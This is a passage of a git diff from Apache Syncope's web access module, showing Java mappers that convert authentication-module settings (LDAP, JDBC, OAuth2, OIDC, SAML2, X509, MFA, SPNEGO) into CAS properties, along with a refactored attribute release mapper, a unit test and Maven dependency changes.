props.getPasswordPolicy().setType(AbstractLdapProperties.LdapType.valueOf(conf.getLdapType().name())); + + fill(props, conf); + + return prefix("cas.authn.ldap[].", CasCoreConfigurationUtils.asMap(props)); + } + + @Override + public Map map(final AuthModuleTO authModuleTO, final JDBCAuthModuleConf conf) { + QueryJdbcAuthenticationProperties props = new QueryJdbcAuthenticationProperties(); + props.setName(authModuleTO.getKey()); + props.setState(AuthenticationHandlerStates.valueOf(authModuleTO.getState().name())); + props.setOrder(authModuleTO.getOrder()); + props.setSql(conf.getSql()); + props.setFieldDisabled(conf.getFieldDisabled()); + props.setFieldExpired(conf.getFieldExpired()); + props.setFieldPassword(conf.getFieldPassword()); + props.setPrincipalAttributeList(authModuleTO.getItems().stream(). + map(item -> item.getIntAttrName() + ":" + item.getExtAttrName()).collect(Collectors.toList())); + props.setCredentialCriteria(conf.getCredentialCriteria()); + fill(props, conf); + + return prefix("cas.authn.jdbc.query[].", CasCoreConfigurationUtils.asMap(props)); + } + + @Override + public Map map(final AuthModuleTO authModuleTO, final JaasAuthModuleConf conf) { + JaasAuthenticationProperties props = new JaasAuthenticationProperties(); + props.setName(authModuleTO.getKey()); + props.setState(AuthenticationHandlerStates.valueOf(authModuleTO.getState().name())); + props.setOrder(authModuleTO.getOrder()); + props.setLoginConfigType(conf.getLoginConfigType()); + props.setKerberosKdcSystemProperty(conf.getKerberosKdcSystemProperty()); + props.setKerberosRealmSystemProperty(conf.getKerberosRealmSystemProperty()); + props.setLoginConfigType(conf.getLoginConfigurationFile()); + props.setRealm(conf.getRealm()); + props.setCredentialCriteria(conf.getCredentialCriteria()); + + return prefix("cas.authn.jaas[].", CasCoreConfigurationUtils.asMap(props)); + } + + @Override + public Map map(final AuthModuleTO authModuleTO, final OAuth20AuthModuleConf conf) { + Pac4jOAuth20ClientProperties props = new Pac4jOAuth20ClientProperties(); + props.setId(conf.getClientId()); + props.setSecret(conf.getClientSecret()); + props.setClientName(Optional.ofNullable(conf.getClientName()).orElse(authModuleTO.getKey())); + props.setEnabled(authModuleTO.getState() == AuthModuleState.ACTIVE); + props.setCustomParams(conf.getCustomParams()); + props.setAuthUrl(conf.getAuthUrl()); + props.setProfilePath(conf.getProfilePath()); + props.setProfileVerb(conf.getProfileVerb()); + props.setProfileUrl(conf.getProfileUrl()); + props.setTokenUrl(conf.getTokenUrl()); + props.setResponseType(conf.getResponseType()); + props.setScope(conf.getScope()); + props.setPrincipalAttributeId(conf.getUserIdAttribute()); + props.setWithState(conf.isWithState()); + props.setProfileAttrs(authModuleTO.getItems().stream(). + collect(Collectors.toMap(Item::getIntAttrName, Item::getExtAttrName))); + + return prefix("cas.authn.pac4j.oauth2[].", CasCoreConfigurationUtils.asMap(props)); + } + + protected void map( + final AuthModuleTO authModuleTO, + final BasePac4jOidcClientProperties props, + final AbstractOIDCAuthModuleConf conf) { + + props.setId(conf.getClientId()); + props.setSecret(conf.getClientSecret()); + props.setClientName(Optional.ofNullable(conf.getClientName()).orElse(authModuleTO.getKey())); + props.setEnabled(authModuleTO.getState() == AuthModuleState.ACTIVE); + props.setCustomParams(conf.getCustomParams()); + props.setDiscoveryUri(conf.getDiscoveryUri()); + props.setMaxClockSkew(conf.getMaxClockSkew()); + props.setPreferredJwsAlgorithm(conf.getPreferredJwsAlgorithm()); + props.setResponseMode(conf.getResponseMode()); + props.setResponseType(conf.getResponseType()); + props.setScope(conf.getScope()); + props.setPrincipalAttributeId(conf.getUserIdAttribute()); + props.setExpireSessionWithToken(conf.isExpireSessionWithToken()); + props.setTokenExpirationAdvance(conf.getTokenExpirationAdvance()); + } + + @Override + public Map map(final AuthModuleTO authModuleTO, final OIDCAuthModuleConf conf) { + Pac4jGenericOidcClientProperties props = new Pac4jGenericOidcClientProperties(); + map(authModuleTO, props, conf); + + Pac4jOidcClientProperties client = new Pac4jOidcClientProperties(); + client.setGeneric(props); + + return prefix("cas.authn.pac4j.oidc[].generic.", CasCoreConfigurationUtils.asMap(props)); + } + + @Override + public Map map(final AuthModuleTO authModuleTO, final AzureOIDCAuthModuleConf conf) { + Pac4jAzureOidcClientProperties props = new Pac4jAzureOidcClientProperties(); + map(authModuleTO, props, conf); + props.setTenant(conf.getTenant()); + + Pac4jOidcClientProperties client = new Pac4jOidcClientProperties(); + client.setAzure(props); + + return prefix("cas.authn.pac4j.oidc[].azure.", CasCoreConfigurationUtils.asMap(props)); + } + + @Override + public Map map(final AuthModuleTO authModuleTO, final GoogleOIDCAuthModuleConf conf) { + Pac4jGoogleOidcClientProperties props = new Pac4jGoogleOidcClientProperties(); + map(authModuleTO, props, conf); + + Pac4jOidcClientProperties client = new Pac4jOidcClientProperties(); + client.setGoogle(props); + + return prefix("cas.authn.pac4j.oidc[].google.", CasCoreConfigurationUtils.asMap(props)); + } + + @Override + public Map map(final AuthModuleTO authModuleTO, final KeycloakOIDCAuthModuleConf conf) { + Pac4jKeyCloakOidcClientProperties props = new Pac4jKeyCloakOidcClientProperties(); + map(authModuleTO, props, conf); + props.setRealm(conf.getRealm()); + props.setBaseUri(conf.getBaseUri()); + + Pac4jOidcClientProperties client = new Pac4jOidcClientProperties(); + client.setKeycloak(props); + + return prefix("cas.authn.pac4j.oidc[].keycloak.", CasCoreConfigurationUtils.asMap(props)); + } + + @Override + public Map map(final AuthModuleTO authModuleTO, final AppleOIDCAuthModuleConf conf) { + Pac4jAppleOidcClientProperties props = new Pac4jAppleOidcClientProperties(); + map(authModuleTO, props, conf); + props.setTimeout(conf.getTimeout()); + props.setPrivateKey(conf.getPrivateKey()); + props.setPrivateKeyId(conf.getPrivateKeyId()); + props.setTeamId(conf.getTeamId()); + + Pac4jOidcClientProperties client = new Pac4jOidcClientProperties(); + client.setApple(props); + + return prefix("cas.authn.pac4j.oidc[].apple.", CasCoreConfigurationUtils.asMap(props)); + } + + @Override + public Map map(final AuthModuleTO authModuleTO, final SAML2IdPAuthModuleConf conf) { + Pac4jSamlClientProperties props = new Pac4jSamlClientProperties(); + props.setClientName(Optional.ofNullable(conf.getClientName()).orElse(authModuleTO.getKey())); + props.setEnabled(authModuleTO.getState() == AuthModuleState.ACTIVE); + props.setAcceptedSkew(conf.getAcceptedSkew()); + props.setAssertionConsumerServiceIndex(conf.getAssertionConsumerServiceIndex()); + props.setAttributeConsumingServiceIndex(conf.getAttributeConsumingServiceIndex()); + props.setAuthnContextClassRef(conf.getAuthnContextClassRefs()); + props.setAuthnContextComparisonType(conf.getAuthnContextComparisonType()); + props.setBlockedSignatureSigningAlgorithms(conf.getBlockedSignatureSigningAlgorithms()); + props.setDestinationBinding(conf.getDestinationBinding().getUri()); + props.setIdentityProviderMetadataPath(conf.getIdentityProviderMetadataPath()); + props.setServiceProviderMetadataPath(conf.getServiceProviderMetadataPath()); + props.setKeystorePath(conf.getKeystorePath()); + props.setWantsAssertionsSigned(conf.isWantsAssertionsSigned()); + props.setWantsResponsesSigned(conf.isResponsesSigned()); + props.setKeystoreAlias(conf.getKeystoreAlias()); + props.setKeystorePassword(conf.getKeystorePassword()); + props.setMaximumAuthenticationLifetime(conf.getMaximumAuthenticationLifetime()); + props.setNameIdPolicyFormat(conf.getNameIdPolicyFormat()); + props.setPrivateKeyPassword(conf.getPrivateKeyPassword()); + props.setProviderName(conf.getProviderName()); + props.setServiceProviderEntityId(conf.getServiceProviderEntityId()); + props.setSignatureAlgorithms(conf.getSignatureAlgorithms()); + props.setSignatureCanonicalizationAlgorithm(conf.getSignatureCanonicalizationAlgorithm()); + props.setSignatureReferenceDigestMethods(conf.getSignatureReferenceDigestMethods()); + props.setPrincipalAttributeId(conf.getUserIdAttribute()); + props.setNameIdPolicyAllowCreate(StringUtils.isBlank(conf.getNameIdPolicyAllowCreate()) + ? TriStateBoolean.UNDEFINED + : TriStateBoolean.valueOf(conf.getNameIdPolicyAllowCreate().toUpperCase())); + + props.setMappedAttributes(authModuleTO.getItems().stream(). + map(item -> item.getIntAttrName() + "->" + item.getExtAttrName()). + collect(Collectors.toList())); + + return prefix("cas.authn.pac4j.saml[].", CasCoreConfigurationUtils.asMap(props)); + } + + @Override + public Map map(final AuthModuleTO authModuleTO, final X509AuthModuleConf conf) { + X509Properties props = new X509Properties(); + props.setName(conf.getName()); + props.setOrder(conf.getOrder()); + props.setCacheDiskOverflow(conf.isCacheDiskOverflow()); + props.setCacheDiskSize(conf.getCacheDiskSize()); + props.setCacheEternal(conf.isCacheEternal()); + props.setCacheMaxElementsInMemory(conf.getCacheMaxElementsInMemory()); + props.setCacheTimeToLiveSeconds(conf.getCacheTimeToLiveSeconds()); + props.setCheckAll(conf.isCheckAll()); + props.setCheckKeyUsage(conf.isCheckKeyUsage()); + props.setCrlExpiredPolicy(conf.getCrlExpiredPolicy().name()); + props.setCrlFetcher(conf.getCrlFetcher().name()); + props.setCrlResourceExpiredPolicy(conf.getCrlResourceExpiredPolicy().name()); + props.setCrlResourceUnavailablePolicy(conf.getCrlResourceUnavailablePolicy().name()); + props.setCrlResources(conf.getCrlResources()); + props.setCrlUnavailablePolicy(conf.getCrlUnavailablePolicy().name()); + props.setExtractCert(conf.isExtractCert()); + props.setMaxPathLength(conf.getMaxPathLength()); + props.setMaxPathLengthAllowUnspecified(conf.isMaxPathLengthAllowUnspecified()); + props.setMixedMode(conf.isMixedMode()); + props.setRefreshIntervalSeconds(conf.getRefreshIntervalSeconds()); + props.setRegExSubjectDnPattern(conf.getRegExSubjectDnPattern()); + props.setRegExTrustedIssuerDnPattern(conf.getRegExTrustedIssuerDnPattern()); + props.setRequireKeyUsage(conf.isRequireKeyUsage()); + props.setRevocationChecker(conf.getRevocationChecker().name()); + props.setRevocationPolicyThreshold(conf.getRevocationPolicyThreshold()); + props.setSslHeaderName(conf.getSslHeaderName()); + props.setThrowOnFetchFailure(conf.isThrowOnFetchFailure()); + + props.setPrincipalType(PrincipalTypes.valueOf(conf.getPrincipalType().name())); + if (StringUtils.isNotBlank(conf.getPrincipalAlternateAttribute())) { + switch (props.getPrincipalType()) { + case CN_EDIPI: + props.getCnEdipi().setAlternatePrincipalAttribute(conf.getPrincipalAlternateAttribute()); + break; + + case RFC822_EMAIL: + props.getRfc822Email().setAlternatePrincipalAttribute(conf.getPrincipalAlternateAttribute()); + break; + + case SUBJECT: + props.setPrincipalDescriptor(conf.getPrincipalAlternateAttribute()); + break; + + case SUBJECT_ALT_NAME: + props.getSubjectAltName().setAlternatePrincipalAttribute(conf.getPrincipalAlternateAttribute()); + break; + + case SUBJECT_DN: + case SERIAL_NO_DN: + case SERIAL_NO: + default: + } + } + props.getSubjectDn().setFormat(SubjectDnFormat.valueOf(conf.getPrincipalTypeSubjectDnFormat().name())); + props.getSerialNoDn().setSerialNumberPrefix(conf.getPrincipalTypeSerialNoDnSerialNumberPrefix()); + props.getSerialNoDn().setValueDelimiter(conf.getPrincipalTypeSerialNoDnValueDelimiter()); + props.getSerialNo().setPrincipalHexSNZeroPadding(conf.isPrincipalTypeSerialNoHexSNZeroPadding()); + props.getSerialNo().setPrincipalSNRadix(conf.getPrincipalTypeSerialNoSNRadix()); + + if (conf.getLdap() != null) { + X509LdapProperties ldapProps = new X509LdapProperties(); + ldapProps.setCertificateAttribute(conf.getLdap().getCertificateAttribute()); + fill(ldapProps, conf.getLdap()); + props.setLdap(ldapProps); + } + + return prefix("cas.authn.x509.", CasCoreConfigurationUtils.asMap(props)); + } + + @Override + public Map map(final AuthModuleTO authModuleTO, final SyncopeAuthModuleConf conf) { + SyncopeClient syncopeClient = waRestClient.getSyncopeClient(); + if (syncopeClient == null) { + LOG.warn("Application context is not ready to bootstrap WA configuration"); + return Map.of(); + } + + SyncopeAuthenticationProperties props = new SyncopeAuthenticationProperties(); + props.setName(authModuleTO.getKey()); + props.setState(AuthenticationHandlerStates.valueOf(authModuleTO.getState().name())); + props.setDomain(conf.getDomain()); + props.setUrl(StringUtils.substringBefore(syncopeClient.getAddress(), "/rest")); + props.setAttributeMappings(authModuleTO.getItems().stream(). + collect(Collectors.toMap(Item::getIntAttrName, Item::getExtAttrName))); + props.setCredentialCriteria(conf.getCredentialCriteria()); + + return prefix("cas.authn.syncope.", CasCoreConfigurationUtils.asMap(props)); + } + + @Override + public Map map(final AuthModuleTO authModuleTO, final AzureActiveDirectoryAuthModuleConf conf) { + AzureActiveDirectoryAuthenticationProperties props = new AzureActiveDirectoryAuthenticationProperties(); + props.setName(authModuleTO.getKey()); + props.setOrder(authModuleTO.getOrder()); + props.setState(AuthenticationHandlerStates.valueOf(authModuleTO.getState().name())); + props.setClientId(conf.getClientId()); + props.setLoginUrl(conf.getLoginUrl()); + props.setResource(conf.getResource()); + props.setCredentialCriteria(conf.getCredentialCriteria()); + + return prefix("cas.authn.azure-active-directory.", CasCoreConfigurationUtils.asMap(props)); + } + + @Override + public Map map(final AuthModuleTO authModuleTO, final OktaAuthModuleConf conf) { + OktaAuthenticationProperties props = new OktaAuthenticationProperties(); + props.setName(authModuleTO.getKey()); + props.setOrder(authModuleTO.getOrder()); + props.setState(AuthenticationHandlerStates.valueOf(authModuleTO.getState().name())); + props.setOrganizationUrl(conf.getOrganizationUrl()); + props.setCredentialCriteria(conf.getCredentialCriteria()); + + return prefix("cas.authn.okta.", CasCoreConfigurationUtils.asMap(props)); + } + + @Override + public Map map(final AuthModuleTO authModuleTO, final GoogleMfaAuthModuleConf conf) { + GoogleAuthenticatorMultifactorProperties props = new GoogleAuthenticatorMultifactorProperties(); + props.setName(authModuleTO.getKey()); + props.setOrder(authModuleTO.getOrder()); + + props.getCore().setIssuer(conf.getIssuer()); + props.getCore().setCodeDigits(conf.getCodeDigits()); + props.getCore().setLabel(conf.getLabel()); + props.getCore().setTimeStepSize(conf.getTimeStepSize()); + props.getCore().setWindowSize(conf.getWindowSize()); + + props.getCrypto().setEnabled(conf.isEnableCrypto()); + props.getCrypto().setAlg(conf.getCryptoAlgorithm().getExternalForm()); + props.getCrypto().setStrategyType(conf.getCryptoStrategy().name()); + props.getCrypto().getEncryption().setKeySize(conf.getEncryptionKeySize()); + props.getCrypto().getEncryption().setKey(conf.getEncryptionKey()); + props.getCrypto().getSigning().setKeySize(conf.getSigningKeySize()); + props.getCrypto().getSigning().setKey(conf.getSigningKey()); + + if (conf.getLdap() != null) { + LdapGoogleAuthenticatorMultifactorProperties ldapProps = new LdapGoogleAuthenticatorMultifactorProperties(); + ldapProps.setAccountAttributeName(conf.getLdap().getAccountAttributeName()); + fill(ldapProps, conf.getLdap()); + props.setLdap(ldapProps); + } + + return prefix("cas.authn.mfa.gauth.", CasCoreConfigurationUtils.asMap(props)); + } + + @SuppressWarnings("deprecation") + @Override + public Map map(final AuthModuleTO authModuleTO, final DuoMfaAuthModuleConf conf) { + DuoSecurityMultifactorAuthenticationProperties props = new DuoSecurityMultifactorAuthenticationProperties(); + props.setName(authModuleTO.getKey()); + props.setOrder(authModuleTO.getOrder()); + props.setDuoApiHost(conf.getApiHost()); + props.setDuoApplicationKey(conf.getApplicationKey()); + props.setDuoIntegrationKey(conf.getIntegrationKey()); + props.setDuoSecretKey(conf.getSecretKey()); + + return prefix("cas.authn.mfa.duo.", CasCoreConfigurationUtils.asMap(props)); + } + + @Override + public Map map(final AuthModuleTO authModuleTO, final U2FAuthModuleConf conf) { + U2FMultifactorAuthenticationProperties props = new U2FMultifactorAuthenticationProperties(); + props.setName(authModuleTO.getKey()); + props.setOrder(authModuleTO.getOrder()); + props.getCore().setExpireDevices(conf.getExpireDevices()); + props.getCore().setExpireDevicesTimeUnit(TimeUnit.valueOf(conf.getExpireDevicesTimeUnit())); + props.getCore().setExpireRegistrations(conf.getExpireRegistrations()); + props.getCore().setExpireRegistrationsTimeUnit(TimeUnit.valueOf(conf.getExpireRegistrationsTimeUnit())); + + return prefix("cas.authn.mfa.u2f.", CasCoreConfigurationUtils.asMap(props)); + } + + @Override + public Map map(final AuthModuleTO authModuleTO, final SimpleMfaAuthModuleConf conf) { + CasSimpleMultifactorAuthenticationProperties props = new CasSimpleMultifactorAuthenticationProperties(); + props.setName(authModuleTO.getKey()); + props.setOrder(authModuleTO.getOrder()); + + props.getMail().setAttributeName(conf.getEmailAttribute()); + props.getMail().setFrom(conf.getEmailFrom()); + props.getMail().setSubject(conf.getEmailSubject()); + props.getMail().setText(conf.getEmailText()); + + props.getToken().getCore().setTokenLength(conf.getTokenLength()); + props.getToken().getCore().setTimeToKillInSeconds(conf.getTimeToKillInSeconds()); + + if (StringUtils.isNotBlank(conf.getBypassGroovyScript())) { + try { + props.getBypass().getGroovy().setLocation(ResourceUtils.getResourceFrom(conf.getBypassGroovyScript())); + } catch (Exception e) { + LOG.error("Unable to load groovy script for bypass", e); + throw new IllegalArgumentException(e); + } + } + + return prefix("cas.authn.mfa.simple.", CasCoreConfigurationUtils.asMap(props)); + } + + @Override + public Map map(final AuthModuleTO authModuleTO, final SpnegoAuthModuleConf conf) { + SpnegoProperties props = new SpnegoProperties(); + props.setName(authModuleTO.getKey()); + props.setOrder(authModuleTO.getOrder()); + + SpnegoAuthenticationProperties jcifsProperties = new SpnegoAuthenticationProperties(); + jcifsProperties.setJcifsServicePrincipal(conf.getJcifsServicePrincipal()); + props.getProperties().add(jcifsProperties); + + props.setMixedModeAuthentication(conf.isMixedModeAuthentication()); + props.setIpsToCheckPattern(conf.getIpsToCheckPattern()); + props.setSend401OnAuthenticationFailure(conf.isSend401OnAuthenticationFailure()); + props.setAlternativeRemoteHostAttribute(conf.getAlternativeRemoteHostAttribute()); + props.setDnsTimeout(conf.getDnsTimeout()); + props.setHostNameClientActionStrategy(conf.getHostNameClientActionStrategy()); + props.setHostNamePatternString(conf.getHostNamePatternString()); + props.setNtlm(conf.isNtlm()); + props.setNtlmAllowed(conf.isNtlmAllowed()); + props.setPoolSize(conf.getPoolSize()); + props.setPoolTimeout(conf.getPoolTimeout()); + props.setPrincipalWithDomainName(conf.isPrincipalWithDomainName()); + props.setSpnegoAttributeName(conf.getSpnegoAttributeName()); + props.setSupportedBrowsers(conf.getSupportedBrowsers()); + + props.getSystem().setUseSubjectCredsOnly(conf.isUseSubjectCredsOnly()); + props.getSystem().setLoginConf(conf.getLoginConf()); + props.getSystem().setKerberosKdc(conf.getKerberosKdc()); + props.getSystem().setKerberosRealm(conf.getKerberosRealm()); + props.getSystem().setKerberosConf(conf.getKerberosConf()); + props.getSystem().setKerberosDebug(BooleanUtils.toStringTrueFalse(conf.isKerberosDebug())); + + if (conf.getLdap() != null) { + SpnegoLdapProperties ldapProps = new SpnegoLdapProperties(); + fill(ldapProps, conf.getLdap()); + props.setLdap(ldapProps); + } else { + props.setLdap(null); + } + + props.getPrincipal().setActiveAttributeRepositoryIds(conf.getAttributeRepoId()); + + return prefix("cas.authn.spnego.", CasCoreConfigurationUtils.asMap(props)); + } +} diff --git a/wa/starter/src/main/java/org/apache/syncope/wa/starter/mapping/DefaultAttrReleaseMapper.java b/wa/bootstrap/src/main/java/org/apache/syncope/wa/bootstrap/mapping/DefaultAttrReleaseMapper.java similarity index 78% rename from wa/starter/src/main/java/org/apache/syncope/wa/starter/mapping/DefaultAttrReleaseMapper.java rename to wa/bootstrap/src/main/java/org/apache/syncope/wa/bootstrap/mapping/DefaultAttrReleaseMapper.java index f7eb0b3e57d..aa03074c32f 100644 --- a/wa/starter/src/main/java/org/apache/syncope/wa/starter/mapping/DefaultAttrReleaseMapper.java +++ b/wa/bootstrap/src/main/java/org/apache/syncope/wa/bootstrap/mapping/DefaultAttrReleaseMapper.java @@ -16,16 +16,16 @@ * specific language governing permissions and limitations * under the License. */ -package org.apache.syncope.wa.starter.mapping; +package org.apache.syncope.wa.bootstrap.mapping; import java.util.HashSet; -import java.util.Map; +import org.apache.syncope.common.lib.policy.AttrReleasePolicyConf; import org.apache.syncope.common.lib.policy.AttrReleasePolicyTO; import org.apache.syncope.common.lib.policy.DefaultAttrReleasePolicyConf; import org.apereo.cas.authentication.principal.DefaultPrincipalAttributesRepository; import org.apereo.cas.authentication.principal.cache.AbstractPrincipalAttributesRepository; import org.apereo.cas.authentication.principal.cache.CachingPrincipalAttributesRepository; -import org.apereo.cas.configuration.model.core.authentication.PrincipalAttributesCoreProperties; +import org.apereo.cas.configuration.model.core.authentication.PrincipalAttributesCoreProperties.MergingStrategyTypes; import org.apereo.cas.services.AbstractRegisteredServiceAttributeReleasePolicy; import org.apereo.cas.services.ChainingAttributeReleasePolicy; import org.apereo.cas.services.DenyAllAttributeReleasePolicy; @@ -35,24 +35,27 @@ import org.apereo.cas.services.consent.DefaultRegisteredServiceConsentPolicy; import org.apereo.cas.util.model.TriStateBoolean; -@AttrReleaseMapFor(attrReleasePolicyConfClass = DefaultAttrReleasePolicyConf.class) public class DefaultAttrReleaseMapper implements AttrReleaseMapper { @Override - public RegisteredServiceAttributeReleasePolicy build( - final AttrReleasePolicyTO policy, final Map releaseAttrs) { + public boolean supports(final AttrReleasePolicyConf conf) { + return DefaultAttrReleasePolicyConf.class.equals(conf.getClass()); + } + @Override + public RegisteredServiceAttributeReleasePolicy build(final AttrReleasePolicyTO policy) { DefaultAttrReleasePolicyConf conf = (DefaultAttrReleasePolicyConf) policy.getConf(); ReturnMappedAttributeReleasePolicy returnMapped = null; - if (!releaseAttrs.isEmpty()) { + if (!conf.getReleaseAttrs().isEmpty()) { returnMapped = new ReturnMappedAttributeReleasePolicy(); - returnMapped.setAllowedAttributes(releaseAttrs); + returnMapped.setAllowedAttributes(conf.getReleaseAttrs()); } ReturnAllowedAttributeReleasePolicy returnAllowed = null; if (!conf.getAllowedAttrs().isEmpty()) { returnAllowed = new ReturnAllowedAttributeReleasePolicy(); + returnAllowed.setAllowedAttributes(conf.getAllowedAttrs()); } AbstractRegisteredServiceAttributeReleasePolicy attributeReleasePolicy; @@ -67,9 +70,7 @@ public RegisteredServiceAttributeReleasePolicy build( DefaultRegisteredServiceConsentPolicy consentPolicy = new DefaultRegisteredServiceConsentPolicy( new HashSet<>(conf.getExcludedAttrs()), new HashSet<>(conf.getIncludeOnlyAttrs())); consentPolicy.setOrder(policy.getOrder()); - consentPolicy.setStatus(policy.getStatus() == null - ? TriStateBoolean.UNDEFINED - : TriStateBoolean.fromBoolean(policy.getStatus())); + consentPolicy.setStatus(TriStateBoolean.fromBoolean(policy.getStatus())); attributeReleasePolicy.setConsentPolicy(consentPolicy); if (conf.getPrincipalIdAttr() != null) { @@ -83,8 +84,7 @@ public RegisteredServiceAttributeReleasePolicy build( ? new CachingPrincipalAttributesRepository(parc.getTimeUnit().name(), parc.getExpiration()) : new DefaultPrincipalAttributesRepository(); - par.setMergingStrategy( - PrincipalAttributesCoreProperties.MergingStrategyTypes.valueOf(parc.getMergingStrategy().name())); + par.setMergingStrategy(MergingStrategyTypes.valueOf(parc.getMergingStrategy().name())); par.setIgnoreResolvedAttributes(par.isIgnoreResolvedAttributes()); par.setAttributeRepositoryIds(new HashSet<>(parc.getAttrRepos())); attributeReleasePolicy.setPrincipalAttributesRepository(par); @@ -93,6 +93,12 @@ public RegisteredServiceAttributeReleasePolicy build( if (returnMapped != null && returnAllowed != null) { ChainingAttributeReleasePolicy chain = new ChainingAttributeReleasePolicy(); chain.addPolicies(returnMapped, returnAllowed); + + if (conf.getPrincipalAttrRepoConf() != null && !conf.getPrincipalAttrRepoConf().getAttrRepos().isEmpty()) { + DefaultAttrReleasePolicyConf.PrincipalAttrRepoConf parc = conf.getPrincipalAttrRepoConf(); + chain.setMergingPolicy(MergingStrategyTypes.valueOf(parc.getMergingStrategy().name())); + } + return chain; } diff --git a/wa/bootstrap/src/main/java/org/apache/syncope/wa/bootstrap/PropertySourceMapper.java b/wa/bootstrap/src/main/java/org/apache/syncope/wa/bootstrap/mapping/PropertySourceMapper.java similarity index 89% rename from wa/bootstrap/src/main/java/org/apache/syncope/wa/bootstrap/PropertySourceMapper.java rename to wa/bootstrap/src/main/java/org/apache/syncope/wa/bootstrap/mapping/PropertySourceMapper.java index 548cc965d9a..ce2f3ac627f 100644 --- a/wa/bootstrap/src/main/java/org/apache/syncope/wa/bootstrap/PropertySourceMapper.java +++ b/wa/bootstrap/src/main/java/org/apache/syncope/wa/bootstrap/mapping/PropertySourceMapper.java @@ -16,16 +16,19 @@ * specific language governing permissions and limitations * under the License. */ -package org.apache.syncope.wa.bootstrap; +package org.apache.syncope.wa.bootstrap.mapping; import java.util.Map; +import java.util.Optional; import java.util.stream.Collectors; import org.apache.commons.lang3.tuple.Pair; import org.apache.syncope.common.lib.AbstractJDBCConf; import org.apache.syncope.common.lib.AbstractLDAPConf; +import org.apache.syncope.common.lib.AbstractLDAPConf.LdapTrustManager; import org.apereo.cas.configuration.model.support.ConnectionPoolingProperties; import org.apereo.cas.configuration.model.support.jpa.AbstractJpaProperties; import org.apereo.cas.configuration.model.support.ldap.AbstractLdapProperties.LdapConnectionPoolPassivator; +import org.apereo.cas.configuration.model.support.ldap.AbstractLdapProperties.LdapHostnameVerifierOptions; import org.apereo.cas.configuration.model.support.ldap.AbstractLdapSearchProperties; import org.slf4j.Logger; import org.slf4j.LoggerFactory; @@ -45,12 +48,15 @@ protected void fill(final AbstractLdapSearchProperties props, final AbstractLDAP props.setBaseDn(conf.getBaseDn()); props.setSearchFilter(conf.getSearchFilter()); props.setSubtreeSearch(conf.isSubtreeSearch()); + props.setPageSize(conf.getPageSize()); props.setBindDn(conf.getBindDn()); props.setBindCredential(conf.getBindCredential()); props.setDisablePooling(conf.isDisablePooling()); props.setMinPoolSize(conf.getMinPoolSize()); props.setMaxPoolSize(conf.getMaxPoolSize()); props.setPoolPassivator(LdapConnectionPoolPassivator.valueOf(conf.getPoolPassivator().name()).name()); + props.setHostnameVerifier(LdapHostnameVerifierOptions.valueOf(conf.getHostnameVerifier().name())); + props.setTrustManager(Optional.ofNullable(conf.getTrustManager()).map(LdapTrustManager::name).orElse(null)); props.setValidateOnCheckout(conf.isValidateOnCheckout()); props.setValidatePeriodically(conf.isValidatePeriodically()); props.setValidateTimeout(conf.getValidateTimeout().toString()); diff --git a/wa/bootstrap/src/test/java/org/apache/syncope/wa/bootstrap/AuthModulePropertySourceMapperTest.java b/wa/bootstrap/src/test/java/org/apache/syncope/wa/bootstrap/AuthModulePropertySourceMapperTest.java index a5175ebe98d..f1288c7e0a6 100644 --- a/wa/bootstrap/src/test/java/org/apache/syncope/wa/bootstrap/AuthModulePropertySourceMapperTest.java +++ b/wa/bootstrap/src/test/java/org/apache/syncope/wa/bootstrap/AuthModulePropertySourceMapperTest.java @@ -21,8 +21,10 @@ import static org.junit.jupiter.api.Assertions.assertFalse; import java.util.Map; +import org.apache.syncope.common.lib.auth.OAuth20AuthModuleConf; import org.apache.syncope.common.lib.auth.SimpleMfaAuthModuleConf; import org.apache.syncope.common.lib.to.AuthModuleTO; +import org.apache.syncope.wa.bootstrap.mapping.AuthModulePropertySourceMapper; import org.junit.jupiter.api.Test; public class AuthModulePropertySourceMapperTest { @@ -46,4 +48,30 @@ public void mapSimpleMfaAuthModuleConf() { Map map = new AuthModulePropertySourceMapper(null).map(authModuleTO, conf); assertFalse(map.keySet().stream().anyMatch(k -> k.endsWith("defined"))); } + + @Test + public void mapOAuth20AuthModuleConf() { + AuthModuleTO authModuleTO = new AuthModuleTO(); + authModuleTO.setKey("oauth20"); + authModuleTO.setOrder(0); + + OAuth20AuthModuleConf conf = new OAuth20AuthModuleConf(); + + conf.setClientId("1000"); + conf.setClientSecret("secret"); + conf.setClientName("oauth20"); + conf.setEnabled(true); + conf.setCustomParams(Map.of("param1", "param1")); + conf.setAuthUrl("https://localhost/oauth2/auth"); + conf.setProfileUrl("https://localhost/oauth2/profile"); + conf.setProfilePath("/info"); + conf.setTokenUrl("https://localhost/oauth2/token"); + conf.setResponseType("code"); + conf.setScope("cns"); + conf.setUserIdAttribute("uid"); + conf.setWithState(true); + + Map map = new AuthModulePropertySourceMapper(null).map(authModuleTO, conf); + assertFalse(map.keySet().stream().anyMatch(k -> k.endsWith("defined"))); + } } diff --git a/wa/pom.xml b/wa/pom.xml index 8ffe968627b..5658fa34279 100644 --- a/wa/pom.xml +++ b/wa/pom.xml @@ -24,7 +24,7 @@ under the License. org.apache.syncope syncope - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT Apache Syncope WA @@ -38,6 +38,27 @@ under the License. + + org.springframework + spring-framework-bom + ${spring-framework.version} + pom + import + + + org.springframework.security + spring-security-bom + ${spring-security.version} + pom + import + + + org.springframework.boot + spring-boot-dependencies + ${spring-boot.version} + pom + import + org.apereo.cas cas-server-support-bom @@ -45,6 +66,19 @@ under the License. pom import + + + + nz.net.ultraq.thymeleaf + thymeleaf-layout-dialect + ${thymeleaf-layout-dialect.version} + + + + org.apache.cxf + cxf-rt-transports-http + ${cxf.version} + diff --git a/wa/starter/pom.xml b/wa/starter/pom.xml index 9b7fcf8bee2..43e3814829f 100644 --- a/wa/starter/pom.xml +++ b/wa/starter/pom.xml @@ -24,7 +24,7 @@ under the License. org.apache.syncope syncope-wa - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT Apache Syncope WA Spring Boot Starter @@ -149,12 +149,14 @@ under the License. org.apereo.cas cas-server-support-syncope-authentication - - - com.github.mmoayyed.cxf - cxf-rt-rs-extension-search - - + + + org.apereo.cas + cas-server-support-azuread-authentication + + + org.apereo.cas + cas-server-support-okta-authentication org.apereo.cas @@ -192,10 +194,6 @@ under the License. org.apereo.cas cas-server-support-oidc-core-api - - org.apereo.cas - cas-server-support-oidc-core - org.apereo.cas cas-server-support-oauth-services @@ -306,15 +304,19 @@ under the License. org.apereo.cas - cas-server-support-oidc-services + cas-server-support-trusted-mfa org.apereo.cas - cas-server-support-swagger + cas-server-support-trusted-mfa-core + + + org.apereo.cas + cas-server-support-oidc-services org.apereo.cas - 